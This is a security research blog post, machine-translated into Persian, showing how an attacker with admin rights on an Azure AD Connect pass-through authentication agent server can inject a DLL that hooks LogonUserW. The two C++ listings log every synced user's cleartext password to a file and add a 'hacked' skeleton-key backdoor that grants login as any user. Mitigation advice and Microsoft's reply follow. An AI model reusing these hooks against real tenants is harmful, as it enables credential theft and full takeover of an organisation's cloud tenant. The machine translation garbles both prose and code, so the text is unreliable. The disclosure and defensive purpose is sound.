سوء استفاده از Pass-Through Auth برای سرقت اعتبار

خلاصه اجرائی

اگر یک مهاجم باید سرور عامل لاجورد سازمان را به خطر بیاندازد – مؤلفه ای که برای همگام سازی Azure AD با AD-prem AD لازم است – می تواند یک پشتیبان ایجاد کند که به آنها اجازه دهد مانند هر کاربر هماهنگ شده وارد شوند. ما یک اثبات مفهوم ایجاد کردیم که عملکرد احراز هویت Azure را دستکاری می کند تا 1) رمز ورود "اسکلت" را برای ما فراهم کند و برای همه کاربران کار کند ، و 2) همه نام های کاربری و رمزهای عبور واقعی را در یک پرونده قرار دهید.

احراز هویت گذرا با Azure AD-Connect

Azure AD-Connect محیط Azure AD را به یک دامنه در محل متصل می کند و چندین روش تأیید اعتبار را ارائه می دهد:

  • همگام سازی رمز عبور هش – روشی که همگام سازی می کند.
  • تأیید اعتبار – روشی که "عامل لاجورد" را از قبل نصب می کند که کاربران همگام شده را از ابر تأیید می کند.
  • فدراسیون

روش حمله ما از عامل لاجورد مورد استفاده جهت تأیید اعتبار عبور سوء استفاده می كند. نماینده پیش پرداخت اعتبارهای دریافت شده توسط Azure AD را برای حسابهایی که با دامنههای پیشین همگام سازی شده اند ، جمع آوری و تأیید می کند.

The Authentication Flow

 Azure Pass-Through Authentication Flow

  1. کاربر وارد نام کاربری خود می شود و گذرواژه در Azure AD / O365.
  2. Azure AD مدارک را با استفاده از یک کلید عمومی رمزگذاری می کند و آنها را در صف نماینده قرار می دهد – یک اتصال پایدار ایجاد شده توسط نماینده اولیه. سپس نماینده اعتبارنامه ها را جمع می کند و آنها را با کلید خصوصی آن رمزگشایی می کند.
  3. سپس عامل با استفاده از عملکرد API ، کاربر را به On-Prem DC تأیید می کند LogonUserW .
  4. DC اعتبارنامه ها را تأیید می کند و پاسخی را می بخشد.
  5. پاسخ DC premtime به Azure AD ارسال می شود.
  6. اگر ورود به سیستم کاربر موفق باشد ، کاربر وارد سیستم می شود.

سوء استفاده از عامل

از سوء استفاده از نماینده ، ما به موارد زیر نیاز خواهیم داشت:

  • Azure AD Connect برای تأیید اعتبار از طریق پیکربندی شده تنظیم شده است.
  • امتیازات اداری بر روی سرور با نماینده آزور نصب شده است.

پس از به خطر انداختن سرور که عامل آزور را نصب کرده است ،

  • ما می توانیم جریان احراز هویت را دستکاری کنیم. فرآیندی که مسئولیت تأیید اعتبار را به عهده دارد ، به راحتی AzureADConnectAuthenticationAgentService.exe نامیده می شود و به عملکرد API متکی است LogonUserW . در مستندات مایکروسافت آمده است ، "نمایندگی تأیید اعتبار سعی در تأیید نام کاربری و رمز عبور در برابر فهرست اکتیو در محل با استفاده از API Win32 LogonUser با پارامتر dwLogonType پارامتر تنظیم شده در LOGON32_LOGON_NETWORK اگر تماس API را با استفاده از APIMonitor (ابزاری که می تواند هر تماس Windows API را با فرض اینکه از امتیازات سرپرست برخوردار هستید) قلاب کنید ، می توانیم به مراحل جالب توجه در فرآیند احراز هویت بپردازیم:

     Monitor API [19659029] کاربر "noob" را با رمز "mypassword" تأیید کرد.

     عامل لاجورد در Danger (Ralph Wiggum meme)

    ایجاد مانیتور API

    اکنون که می دانیم چگونه به آن دسترسی پیدا کنیم گذرواژه‌ها ، بگذارید ببینیم آیا می توانیم فرایند را خودکار سازی کنیم.

    برنامه این است که یک DLL را به AzureADConnectAuthenticationAgentService.exe تزریق کنیم و نشانگر را دوباره به عملکرد LogonUserW

    با استفاده از EasyHook ، ما یک DLL نوشتیم که عملکرد LogonUserW را قلاب کرده و آن را با یک LogonUserW جایگزین می کند:

     BOOL myLogonUserW (LPCWSTR lpsz lpszDomain، LPCWSTR lpszPassword، DWORD dwLogonType، DWORD dwLogonProvider، PHANDLE phToken)
    {
      // نوشتن برای پرونده
      myfile از جریان؛
      myfile.open ("c: \ temp \ shhhh.txt"، std :: ios_base :: برنامه)؛
    
      کاربر رشته = utf8_encode (lpszUsername)؛
      string pass = utf8_encode (lpszPassword)؛
    myfile << "نام کاربری:"؛
      myfile << user << " n"؛
      myfile << "رمز عبور:"؛
      myfile << pass << " n  n"؛
      myfile.close ()؛
    
      بازگشت LogonUserW (lpszUsername، lpszDomain، lpszPassword، dwLogonType، dwLogonProvider، phToken)؛
    } 

    توجه داشته باشید که این تابع به همان تعداد پارامتر نیاز دارد LogonUserW . هنگامی که این تابع نامیده می شود ، پرونده "shhhh.txt" را ایجاد می کند و متغیرهای نام کاربری و رمزعبور را برای آن می نویسد. این عملکرد نتیجه تماس واقعی LogonUserW را با پارامترهای عرضه شده اولیه باز می گرداند.

    تزریق DLL

    به لطف InjectAllTheThings ، و ماژول DLL انعکاس دهنده آن ، ما DLL خود را در این فرآیند بارگذاری کردیم و نتایج زیر:

     رمزهای پاک کردن متن

    هر کاربر هماهنگ شده که به Azure AD متصل می شود (به عنوان مثال Office 365) رمز عبور خود را به پرونده متن ما اضافه می کند.

    La Cerise Sur le Gâteau

    جمع آوری رمز عبور ما برای تبدیل شدن به کلید اسکلت لاجوردی فقط به "من نمی دانم چه چیزی" نیاز دارد ، اجازه می دهد تا یک مهاجم بتواند هویت (با یک عامل) را به عنوان هر کاربر با استفاده از یک رمزعبور از پیش تعیین شده تأیید کند.

    برای کلید اسکلت ، مقدار برگشتی را در عملکرد تغییر می دهیم ، LogonUserW ، بنابراین به هنگام وارد کردن رمز عبور "هک شده" ، بدون در نظر گرفتن رمز عبور واقعی کاربر LogonUserW یک تابع Boolean است که یک نشانگر را به نشانه کاربر دریافت می کند ، آن را با نشانه کاربر جمع می کند و در صورت موفقیت دوباره به آن باز می گردد.

    کمی آزمایش نشان می دهد که بازگشت یا یک نشانه جعلی یا هیچ نشانه ای باعث خراب شدن این روند می شود ، بنابراین این برنامه به یک نشانه معتبر نیاز دارد.

    از کجا می توانیم یک نشانه کاربر را وارد کنیم تا بدون ایجاد یکی از این توابع عبور کند؟

    خوب ، از آنجا که ما در حال حاضر هستیم روند AzureADConnectAuthenticationAgentService.exe ، ما می توانیم نشانه کاربر آن را وام بگیریم!
    {
      // نوشتن برای پرونده
      myfile از جریان؛
      myfile.open ("c: \ temp \ beep.txt"، std :: ios_base :: برنامه)؛
      
      کاربر رشته = utf8_encode (lpszUsername)؛
      string pass = utf8_encode (lpszPassword)؛
      
      // وقت بگیرید
      std :: time_t encam = std :: زمان (nullptr)؛
      myfile << "[*]"؛
      myfile << std :: asctime (std :: localtime (& نتیجه))؛
      
      myfile << "نام کاربری:"؛
      myfile << user << " n"؛
      myfile << "رمز عبور:"؛
      myfile << pass << " n n"؛
      myfile.close ()؛

      string hacked = "hacked"؛

      if (hacked.compare (پاس))
      {
        // کاربر را وارد سیستم کنید
        بازگشت LogonUserW (lpszUsername، lpszDomain، lpszPassword، dwLogonType، dwLogonProvider، phToken)؛
      }
      دیگر
      {
        // از کلید اسکلت استفاده کنید ، درست است
        OpenProcessToken (GetCurrentProcess () ، TOKEN_READ ، phToken)؛
        بازگشت درست است؛
      }
    }

    با فراخوان OpenProcessToken ما متغیر phToken را با علامت خاص این فرآیند جمع می کنیم.

    مانند یک جذابیت کار می کند!

    در حالی که هر کاربر هنوز می تواند با خودش ارتباط برقرار کند. با استفاده از گذرواژه "هک شده" ، می توانیم با موفقیت رمز ورود خود را تأمین کنیم.

    در اینجا می روید …

    در این مرحله ، مهاجم کنترل کاملی و کاملی را بر مستاجر کسب می کند و می تواند مانند هر کاربر وارد شود ، از جمله حساب جهانی مدیر این Endgame است.

    افکار نهایی

    نصب کلید اسکلت روی یک عامل لاجورد می تواند مفید باشد:

    • افزایش امتیازات شما به مدیر جهانی. (که به نوبه خود به شما امکان می دهد که مستاجر لاجورد را کنترل کنید)
    • دسترسی به محیط اولیه سازمان با تنظیم مجدد رمز عبور دامنه (با فرض اینکه رمز ورود به سیستم فعال شود) دسترسی دارید
    • حفظ پایداری در یک سازمان
    • جمع آوری رمزهای عبور واضح

    پاسخ مرکز پاسخ مایکروسافت به گزارش ما باعث می شود که ایمنی ایجاد نشود:

    این گزارش به نظر نمی رسد ضعف در یک محصول یا خدمات مایکروسافت را شناسایی کند که یک مهاجم را به خطر بیاندازد. صداقت ، در دسترس بودن یا محرمانه بودن ارائه مایکروسافت. برای این مسئله ، مهاجم ابتدا باید ماشین را به خطر بیاندازد قبل از اینکه بتواند این سرویس را به عهده بگیرد.

    گرچه من با کار های داخلی تأیید هویت Pass-Through Azure آشنا نیستم ، می توانم چند راه حل ارائه دهم که ممکن است به کاهش آن کمک کند. این آسیب پذیری به عنوان مثال ، ممکن است اعتبارنامه رمزگذاری شده را از نماینده به یک عامل متمرکز منتقل کنید ، که در DC مستقر است (به طور معمول یک سرور خوب محافظت شده). این نماینده DC اعتبارنامه ها را تأیید می کند و با پاسخ رمزگذاری شده ای که فقط توسط سرویس آزور ابر قابل باز شدن است پاسخ می دهد. مهاجمی که کنترل کامل بر روی یک DC را به دست آورد ، قبلاً برنده شده است ، هرگونه بهره برداری متعاقب آن تحت الشعاع این واقعیت قرار گرفته است.

    Prevention

    مهاجمان ممتاز ممکن است از این سوء استفاده برای نصب یک Backdoor یا جمع آوری رمزهای عبور استفاده کنند. تجزیه و تحلیل ورود به سیستم سنتی اگر مهاجمی بداند چگونه می تواند مسیرهای خود را پوشش دهد ، ممکن است این امر را تشخیص ندهد.

    استفاده از MFA باعث می شود مهاجمان از یک گذرگاه جعلی به ابر Azure شما وصل نشوند ، اگرچه این حمله می تواند برای جمع آوری رمزهای عبور در MFA فعال باشد. محیط های.

    کاهش بیشتر این حمله امنیت سرورهای عامل لاجورد ، نظارت بر فعالیت کاربر برای منابع غیر طبیعی و دسترسی به داده ها و استفاده از طبقه بندی برای کشف پرونده هایی است که حاوی نام های کاربری واضح و رمزهای عبور هستند.

    منابع

    اسناد مایکروسافت: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta-securance-deep-diveociation19659093]